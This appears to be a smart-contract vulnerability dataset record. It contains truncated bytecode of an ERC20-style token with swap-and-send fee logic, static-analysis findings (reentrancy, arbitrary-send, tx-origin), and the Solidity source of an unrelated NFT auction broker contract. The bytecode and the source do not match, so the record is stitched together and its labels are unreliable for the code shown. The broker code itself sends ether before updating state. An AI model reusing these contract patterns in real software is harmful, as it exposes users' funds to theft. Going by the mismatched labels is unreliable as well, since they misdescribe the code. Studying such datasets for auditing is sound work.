67565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161193d929190613298565b602060405180830381600087803b15801561195757600080fd5b505af115801561196b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061198f9190612f15565b5050565b6000600454905090565b6000808314156119b05760009050611a12565b600082846119be919061360b565b90508284826119cd91906135da565b14611a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a04906133df565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a879061345f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af79061339f565b60405180910390fd5b80601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611bde919061349f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c529061343f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ccb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc29061335f565b60405180910390fd5b60008111611d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d059061341f565b60405180910390fd5b6000611d1a8484612391565b90506000611d4582611d376127108661234790919063ffffffff16565b61199d90919063ffffffff16565b90506000611d5c828561245490919063ffffffff16565b90506000611d6a878761249e565b90506000611d9582611d876127108961234790919063ffffffff16565b61199d90919063ffffffff16565b9050611daa818461245490919063ffffffff16565b9250600c60179054906101000a900460ff1615611fa157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16148015611e2a5750600c60149054906101000a900460ff165b15611f4357601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312bdf42389600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16326040518463ffffffff1660e01b8152600401611eb093929190613261565b602060405180830381600087803b158015611eca57600080fd5b505af1158015611ede573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f029190612f15565b15611f42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f399061337f565b60405180910390fd5b5b60001515600d60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611fa057600080fd5b5b611faa87612561565b15611fc657600754611fbb88610db0565b10611fc557600080fd5b5b611fd08888612616565b15611ffe57611fdf88886126ae565b15611ff457600554861115611ff357600080fd5b5b611ffd886127b9565b5b61205086600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245490919063ffffffff16565b600f60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120e583600f60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ea90919063ffffffff16565b600f60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218c8161217e86600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ea90919063ffffffff16565b6127ea90919063ffffffff16565b600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161222c919061349f565b60405180910390a3600c60179054906101000a900460ff16156122d957601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b25d625989896040518363ffffffff1660e01b81526004016122a6929190613238565b600060405180830381600087803b1580156122c057600080fd5b505af11580156122d4573d6000803e3d6000fd5b505050505b5050505050505050565b600083831115829061232b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612322919061333d565b60405180910390fd5b506000838561233a9190613665565b9050809150509392505050565b600061238983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612848565b905092915050565b600080600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124355750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1590508061244757600091505061244e565b6008549150505b92915050565b600061249683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122e3565b905092915050565b600080600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125425750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1590508061255457600091505061255b565b6009549150505b92915050565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561260f5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b6000612620610f45565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561268e575061265e610f45565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156126a65750600c60149054906101000a900460ff165b905092915050565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561275b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156127b15750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b60006127c430610db0565b90506127cf826128ab565b156127e6576127dd81612937565b6127e5612c31565b5b5050565b60008082846127f99190613584565b90508381101561283e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612835906133bf565b60405180910390fd5b8091505092915050565b6000808311829061288f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612886919061333d565b60405180910390fd5b506000838561289e91906135da565b9050809150509392505050565b6000600c60159054906101000a900460ff161580156129185750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156129305750600c60169054906101000a900460ff165b9050919050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612995577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156129c35781602001602082028036833780820191505090505b5090503081600081518110612a01577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612aa357600080fd5b505afa158015612ab7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612adb9190612dfc565b81600181518110612b15577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b7c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a20565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612be09594939291906134ba565b600060405180830381600087803b158015612bfa57600080fd5b505af1158015612c0e573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c96612710612c886008544761199d90919063ffffffff16565b61234790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc1573d6000803e3d6000fd5b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d27612710612d196009544761199d90919063ffffffff16565b61234790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d52573d6000803e3d6000fd5b50565b600081359050612d6481613ab9565b92915050565b600081519050612d7981613ab9565b92915050565b600081359050612d8e81613ad0565b92915050565b600081519050612da381613ae7565b92915050565b600081359050612db881613afe565b92915050565b600081519050612dcd81613afe565b92915050565b600060208284031215612de557600080fd5b6000612df384828501612d55565b91505092915050565b600060208284031215612e0e57600080fd5b6000612e1c84828501612d6a565b91505092915050565b600060208284031215612e3757600080fd5b6000612e4584828501612d7f565b91505092915050565b60008060408385031215612e6157600080fd5b6000612e6f85828601612d55565b9250506020612e8085828601612d55565b9150509250929050565b600080600060608486031215612e9f57600080fd5b6000612ead86828701612d55565b9350506020612ebe86828701612d55565b9250506040612ecf86828701612da9565b9150509250925092565b60008060408385031215612eec57600080fd5b6000612efa85828601612d55565b9250506020612f0b85828601612da9565b9150509250929050565b600060208284031215612f2757600080fd5b6000612f3584828501612d94565b91505092915050565b600060208284031215612f5057600080fd5b6000612f5e84828501612da9565b91505092915050565b600080600060608486031215612f7c57600080fd5b6000612f8a86828701612dbe565b9350506020612f9b86828701612dbe565b9250506040612fac86828701612dbe565b9150509250925092565b6000612fc28383612fce565b60208301905092915050565b612fd781613699565b82525050565b612fe681613699565b82525050565b6000612ff78261353f565b6130018185613562565b935061300c8361352f565b8060005b8381101561303d5781516130248882612fb6565b975061302f83613555565b925050600181019050613010565b5085935050505092915050565b613053816136bd565b82525050565b61306281613700565b82525050565b60006130738261354a565b61307d8185613573565b935061308d818560208601613712565b61309681613804565b840191505092915050565b60006130ae602383613573565b91506130b982613815565b604082019050919050565b60006130d1603583613573565b91506130dc82613864565b604082019050919050565b60006130f4602283613573565b91506130ff826138b3565b604082019050919050565b6000613117601b83613573565b915061312282613902565b602082019050919050565b600061313a602183613573565b91506131458261392b565b604082019050919050565b600061315d602083613573565b91506131688261397a565b602082019050919050565b6000613180602983613573565b915061318b826139a3565b604082019050919050565b60006131a3602583613573565b91506131ae826139f2565b604082019050919050565b60006131c6602483613573565b91506131d182613a41565b604082019050919050565b60006131e9601783613573565b91506131f482613a90565b602082019050919050565b613208816136e9565b82525050565b613217816136f3565b82525050565b60006020820190506132326000830184612fdd565b92915050565b600060408201905061324d6000830185612fdd565b61325a6020830184612fdd565b9392505050565b60006060820190506132766000830186612fdd565b6132836020830185612fdd565b6132906040830184612fdd565b949350505050565b60006040820190506132ad6000830185612fdd565b6132ba60208301846131ff565b9392505050565b600060c0820190506132d66000830189612fdd565b6132e360208301886131ff565b6132f06040830187613059565b6132fd6060830186613059565b61330a6080830185612fdd565b61331760a08301846131ff565b979650505050505050565b6000602082019050613337600083018461304a565b92915050565b600060208201905081810360008301526133578184613068565b905092915050565b60006020820190508181036000830152613378816130a1565b9050919050565b60006020820190508181036000830152613398816130c4565b9050919050565b600060208201905081810360008301526133b8816130e7565b9050919050565b600060208201905081810360008301526133d88161310a565b9050919050565b600060208201905081810360008301526133f88161312d565b9050919050565b6000602082019050818103600083015261341881613150565b9050919050565b6000602082019050818103600083015261343881613173565b9050919050565b6000602082019050818103600083015261345881613196565b9050919050565b60006020820190508181036000830152613478816131b9565b9050919050565b60006020820190508181036000830152613498816131dc565b9050919050565b60006020820190506134b460008301846131ff565b92915050565b600060a0820190506134cf60008301886131ff565b6134dc6020830187613059565b81810360408301526134ee8186612fec565b90506134fd6060830185612fdd565b61350a60808301846131ff565b9695505050505050565b6000602082019050613529600083018461320e565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061358f826136e9565b915061359a836136e9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156135cf576135ce613777565b5b828201905092915050565b60006135e5826136e9565b91506135f0836136e9565b925082613600576135ff6137a6565b5b828204905092915050565b6000613616826136e9565b9150613621836136e9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561365a57613659613777565b5b828202905092915050565b6000613670826136e9565b915061367b836136e9565b92508282101561368e5761368d613777565b5b828203905092915050565b60006136a4826136c9565b9050919050565b60006136b6826136c9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061370b826136e9565b9050919050565b60005b83811015613730578082015181840152602081019050613715565b8381111561373f576000848401525b50505050565b6000600282049050600182168061375d57607f821691505b60208210811415613771576137706137d5565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54686973206265617220646f65736e2774206c696b6520796f752e204c6f6f6b60008201527f20666f7220686f6e657920656c736577686572652e0000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613ac281613699565b8114613acd57600080fd5b50565b613ad9816136ab565b8114613ae457600080fd5b50565b613af0816136bd565b8114613afb57600080fd5b50565b613b07816136e9565b8114613b1257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122026a8cc44b14972d9af41d9f1452bdf8cec87c505329a9f153fb20af54a59f95764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,434 |
0x1427fb6e01399a12986d66b9ec4d3556823e521d
|
/**
*Submitted for verification at Etherscan.io on 2021-09-02
*/
// File: clubrare/Broker.sol
/**
*Submitted for verification at Etherscan.io on 2021-08-30
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-23
*/
pragma solidity ^0.5.17;
pragma experimental ABIEncoderV2;
library TokenDetArrayLib{
// Using for array of strcutres for storing mintable address and token id
using TokenDetArrayLib for TokenDets;
struct TokenDet {
address NFTAddress;
uint256 tokenID;
}
// custom type array TokenDets
struct TokenDets {
TokenDet[] array;
}
/**
* @notice push an tokenDet to the array
* @dev if the address already exists, it will not be added again
* @param self Storage array containing tokenDet type variables
*/
function addTokenDet(TokenDets storage self,address _mintableaddress,uint256 _tokenID) public {
if(!self.exists(_mintableaddress, _tokenID)){
self.array.push(TokenDet(_mintableaddress, _tokenID));
}
}
/**
* @notice get the tokenDet at a specific index from array
* @dev revert if the index is out of bounds
* @param self Storage array containing tokenDet type variables
*/
function getIndexByTokenDet(TokenDets storage self, address _mintableaddress,uint256 _tokenID) internal view returns(uint256, bool) {
uint256 index;
bool exists = false;
for (uint256 i = 0; i < self.array.length; i++) {
if (
self.array[i].NFTAddress == _mintableaddress &&
self.array[i].tokenID == _tokenID
) {
index =i;
exists = true;
break;
}
}
return (index, exists);
}
/**
* @notice remove an tokenDet from the array
* @dev finds the tokenDet, swaps it with the last tokenDet, and then deletes it;
* returns a boolean whether the tokenDet was found and deleted
* @param self Storage array containing tokenDet type variables
*/
function removeTokenDet(TokenDets storage self, address _mintableaddress,uint256 _tokenID) internal returns (bool) {
(uint256 i, bool exists) = self.getIndexByTokenDet(_mintableaddress,_tokenID);
if (exists == true) {
self.array[i] = self.array[self.array.length - 1];
self.array.pop();
return true;
}
return false;
}
/**
* @notice check if an tokenDet exist in the array
* @param self Storage array containing tokenDet type variables
*/
function exists(TokenDets storage self, address _mintableaddress,uint256 _tokenID) internal view returns (bool) {
for (uint i = 0; i < self.array.length; i++) {
if (
self.array[i].NFTAddress == _mintableaddress &&
self.array[i].tokenID == _tokenID
) {
return true;
}
}
return false;
}
}
// Interface of ERC721Receiver
contract IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes memory data
) public returns (bytes4);
}
// Contract for Managing the ERC721 Holding
contract ERC721Holder is IERC721Receiver {
function onERC721Received(
address,
address,
uint256,
bytes memory
) public returns (bytes4) {
return this.onERC721Received.selector;
}
}
// ERC721 Interface
contract MintableToken {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) external;
function royalities(uint256 _tokenId) public view returns (uint256);
function creators(uint256 _tokenId) public view returns (address payable);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public;
function getApproved(uint256 tokenId)
public
view
returns (address operator);
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID)
external
view
returns (bool);
}
// Broker Contract
contract Broker is ERC721Holder {
using TokenDetArrayLib for TokenDetArrayLib.TokenDets;
// events
event Bid(
address indexed collection,
uint256 indexed tokenId,
address indexed seller,
address bidder,
uint256 amouont,
uint256 time
);
event Buy(
address indexed collection,
uint256 tokenId,
address indexed seller,
address indexed buyer,
uint256 amount,
uint256 time
);
event Collect(
address indexed collection,
uint256 indexed tokenId,
address indexed seller,
address buyer,
address collector,
uint256 time
);
event OnSale(
address indexed collection,
uint256 indexed tokenId,
address indexed seller,
uint256 auctionType,
uint256 amount,
uint256 time
);
event PriceUpdated(
address indexed collection,
uint256 indexed tokenId,
address indexed seller,
uint256 auctionType,
uint256 oldAmount,
uint256 amount,
uint256 time
);
event OffSale(
address indexed collection,
uint256 indexed tokenId,
address indexed seller,
uint256 time
);
address owner;
uint16 public brokerage;
mapping(address => mapping(uint256 => bool)) tokenOpenForSale;
mapping(address => TokenDetArrayLib.TokenDets) tokensForSalePerUser;
TokenDetArrayLib.TokenDets fixedPriceTokens;
TokenDetArrayLib.TokenDets auctionTokens;
//auction type :
// 1 : only direct buy
// 2 : only bid
// 3 : both buy and bid
struct auction {
address payable lastOwner;
uint256 currentBid;
address payable highestBidder;
uint256 auctionType;
uint256 startingPrice;
uint256 buyPrice;
bool buyer;
uint256 startingTime;
uint256 closingTime;
}
mapping(address => mapping(uint256 => auction)) public auctions;
TokenDetArrayLib.TokenDets tokensForSale;
constructor(uint16 _brokerage) public {
owner = msg.sender;
brokerage = _brokerage;
}
function getTokensForSale() public view returns (TokenDetArrayLib.TokenDet[] memory) {
return tokensForSale.array;
}
function getFixedPriceTokensForSale()
public
view
returns (TokenDetArrayLib.TokenDet[] memory)
{
return fixedPriceTokens.array;
}
function getAuctionTokensForSale() public view returns (TokenDetArrayLib.TokenDet[] memory) {
return auctionTokens.array;
}
function getTokensForSalePerUser(address _user)
public
view
returns (TokenDetArrayLib.TokenDet[] memory)
{
return tokensForSalePerUser[_user].array;
}
function setBrokerage(uint16 _brokerage) public onlyOwner {
brokerage = _brokerage;
}
function bid(uint256 tokenID, address _mintableToken) public payable {
MintableToken Token = MintableToken(_mintableToken);
require(
tokenOpenForSale[_mintableToken][tokenID] == true,
"Token Not For Sale"
);
require(
msg.value > auctions[_mintableToken][tokenID].currentBid,
"Insufficient Payment"
);
require(
block.timestamp < auctions[_mintableToken][tokenID].closingTime,
"Auction Time Over!"
);
require(
auctions[_mintableToken][tokenID].auctionType != 1,
"Auction Not For Bid"
);
if (auctions[_mintableToken][tokenID].buyer == true) {
auctions[_mintableToken][tokenID].highestBidder.transfer(
auctions[_mintableToken][tokenID].currentBid
);
}
Token.safeTransferFrom(Token.ownerOf(tokenID), address(this), tokenID);
auctions[_mintableToken][tokenID].currentBid = msg.value;
auctions[_mintableToken][tokenID].buyer = true;
auctions[_mintableToken][tokenID].highestBidder = msg.sender;
// Bid event
emit Bid(
_mintableToken,
tokenID,
auctions[_mintableToken][tokenID].lastOwner,
msg.sender,
msg.value,
block.timestamp
);
}
function collect(uint256 tokenID, address _mintableToken) public {
MintableToken Token = MintableToken(_mintableToken);
// Check expiry time
require(
block.timestamp > auctions[_mintableToken][tokenID].closingTime,
"Auction Not Over!"
);
// Get seller of the NFT
address payable lastOwner2 = auctions[_mintableToken][tokenID]
.lastOwner;
// Check if this auction had even a single bid
if (auctions[_mintableToken][tokenID].buyer == true){
// Get royality and creator of NFT from collection
uint256 royalities = Token.royalities(tokenID);
address payable creator = Token.creators(tokenID);
// auctions[_mintableToken][tokenID].buyPrice = uint256(0);
// NFT transfer
Token.safeTransferFrom(
Token.ownerOf(tokenID),
auctions[_mintableToken][tokenID].highestBidder,
tokenID
);
// Royality transfer
creator.transfer(
(royalities * auctions[_mintableToken][tokenID].currentBid) / 10000
);
// Fund transfer after brockerage and royality charges
lastOwner2.transfer(
((10000 - royalities - brokerage) *
auctions[_mintableToken][tokenID].currentBid) / 10000
);
// Buy event
emit Buy(
_mintableToken,
tokenID,
lastOwner2,
auctions[_mintableToken][tokenID].highestBidder,
auctions[_mintableToken][tokenID].currentBid,
block.timestamp
);
}
// Disabling the on sale status
tokenOpenForSale[_mintableToken][tokenID] = false;
// Collect event
emit Collect(
_mintableToken,
tokenID,
lastOwner2,
auctions[_mintableToken][tokenID].highestBidder,
msg.sender,
block.timestamp
);
// Remove from sale list
tokensForSale.removeTokenDet(_mintableToken,tokenID);
// Remove from sale per user list
tokensForSalePerUser[lastOwner2].removeTokenDet(_mintableToken,tokenID);
// Remove form auctions list
auctionTokens.removeTokenDet(_mintableToken,tokenID);
// Delete the auction details
delete auctions[_mintableToken][tokenID];
}
function buy(uint256 tokenID, address _mintableToken) public payable {
MintableToken Token = MintableToken(_mintableToken);
require(
tokenOpenForSale[_mintableToken][tokenID] == true,
"Token Not For Sale"
);
require(
msg.value >= auctions[_mintableToken][tokenID].buyPrice,
"Insufficient Payment"
);
require(
auctions[_mintableToken][tokenID].auctionType != 2,
"Auction for Bid only!"
);
address payable lastOwner2 = auctions[_mintableToken][tokenID]
.lastOwner;
uint256 royalities = Token.royalities(tokenID);
address payable creator = Token.creators(tokenID);
tokenOpenForSale[_mintableToken][tokenID] = false;
auctions[_mintableToken][tokenID].buyer = true;
auctions[_mintableToken][tokenID].highestBidder = msg.sender;
auctions[_mintableToken][tokenID].currentBid = auctions[_mintableToken][
tokenID
].buyPrice;
Token.safeTransferFrom(
Token.ownerOf(tokenID),
auctions[_mintableToken][tokenID].highestBidder,
tokenID
);
creator.transfer(
(royalities * auctions[_mintableToken][tokenID].currentBid) / 10000
);
lastOwner2.transfer(
((10000 - royalities - brokerage) *
auctions[_mintableToken][tokenID].currentBid) / 10000
);
// Buy event
emit Buy(
_mintableToken,
tokenID,
lastOwner2,
msg.sender,
auctions[_mintableToken][tokenID].buyPrice,
block.timestamp
);
tokensForSale.removeTokenDet(_mintableToken,tokenID);
tokensForSalePerUser[lastOwner2].removeTokenDet(_mintableToken,tokenID);
fixedPriceTokens.removeTokenDet(_mintableToken,tokenID);
}
function withdraw() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function putOnSale(
uint256 _tokenID,
uint256 _startingPrice,
uint256 _auctionType,
uint256 _buyPrice,
uint256 _duration,
address _mintableToken
) public {
MintableToken Token = MintableToken(_mintableToken);
require(Token.ownerOf(_tokenID) == msg.sender, "Permission Denied");
require(
Token.getApproved(_tokenID) == address(this),
"Broker Not approved"
);
// Allow to put on sale to already on sale NFT \
// only if it was on auction and have 0 bids and auction is over
if (tokenOpenForSale[_mintableToken][_tokenID] == true) {
require(
auctions[_mintableToken][_tokenID].auctionType == 2
&&
auctions[_mintableToken][_tokenID].buyer == false
&&
block.timestamp > auctions[_mintableToken][_tokenID].closingTime,
"This NFT is already on sale."
);
}
auction memory newAuction = auction(
msg.sender,
_startingPrice,
address(0),
_auctionType,
_startingPrice,
_buyPrice,
false,
block.timestamp,
block.timestamp + _duration
);
auctions[_mintableToken][_tokenID] = newAuction;
// Store data in all mappings if adding fresh token on sale
if (tokenOpenForSale[_mintableToken][_tokenID] == false){
tokenOpenForSale[_mintableToken][_tokenID] = true;
tokensForSale.addTokenDet(_mintableToken, _tokenID);
tokensForSalePerUser[msg.sender].addTokenDet(_mintableToken, _tokenID);
// Add token to fixedPrice on Timed list
if (_auctionType == 1) {
fixedPriceTokens.addTokenDet(_mintableToken, _tokenID);
} else if (_auctionType == 2) {
auctionTokens.addTokenDet(_mintableToken, _tokenID);
}
}
// OnSale event
emit OnSale(
_mintableToken,
_tokenID,
msg.sender,
_auctionType,
_auctionType == 1 ? _buyPrice : _startingPrice,
block.timestamp
);
}
function updatePrice(uint256 tokenID, address _mintableToken, uint256 _newPrice) public {
MintableToken Token = MintableToken(_mintableToken);
// Sender will be owner only if no have bidded on auction.
require(
Token.ownerOf(tokenID) == msg.sender,
"You must be owner and Token should not have any bid"
);
require(
tokenOpenForSale[_mintableToken][tokenID] == true,
"Token Must be on sale to change price"
);
if (auctions[_mintableToken][tokenID].auctionType == 2){
require(
block.timestamp < auctions[_mintableToken][tokenID].closingTime,
"Auction Time Over!"
);
}
// Trigger event PriceUpdated with Old and new price
emit PriceUpdated(
_mintableToken,
tokenID,
auctions[_mintableToken][tokenID].lastOwner,
auctions[_mintableToken][tokenID].auctionType,
auctions[_mintableToken][tokenID].auctionType == 1 ? auctions[_mintableToken][tokenID].buyPrice : auctions[_mintableToken][tokenID].startingPrice,
_newPrice,
block.timestamp
);
// Update Price
if (auctions[_mintableToken][tokenID].auctionType == 1){
auctions[_mintableToken][tokenID].buyPrice = _newPrice;
}
else{
auctions[_mintableToken][tokenID].startingPrice = _newPrice;
auctions[_mintableToken][tokenID].currentBid = _newPrice;
}
}
function putSaleOff(uint256 tokenID, address _mintableToken) public {
MintableToken Token = MintableToken(_mintableToken);
require(Token.ownerOf(tokenID) == msg.sender, "Permission Denied");
auctions[_mintableToken][tokenID].buyPrice = uint256(0);
tokenOpenForSale[_mintableToken][tokenID] = false;
// OffSale event
emit OffSale(_mintableToken, tokenID, msg.sender, block.timestamp);
tokensForSale.removeTokenDet(_mintableToken, tokenID);
tokensForSalePerUser[msg.sender].removeTokenDet(_mintableToken, tokenID);
// Remove token from list
if (auctions[_mintableToken][tokenID].auctionType == 1) {
fixedPriceTokens.removeTokenDet(_mintableToken, tokenID);
} else if (auctions[_mintableToken][tokenID].auctionType == 2) {
auctionTokens.removeTokenDet(_mintableToken, tokenID);
}
}
function getOnSaleStatus(address _mintableToken, uint256 tokenID)
public
view
returns (bool)
{
return tokenOpenForSale[_mintableToken][tokenID];
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function() external payable {
//call your function here / implement your actions
}
}
|
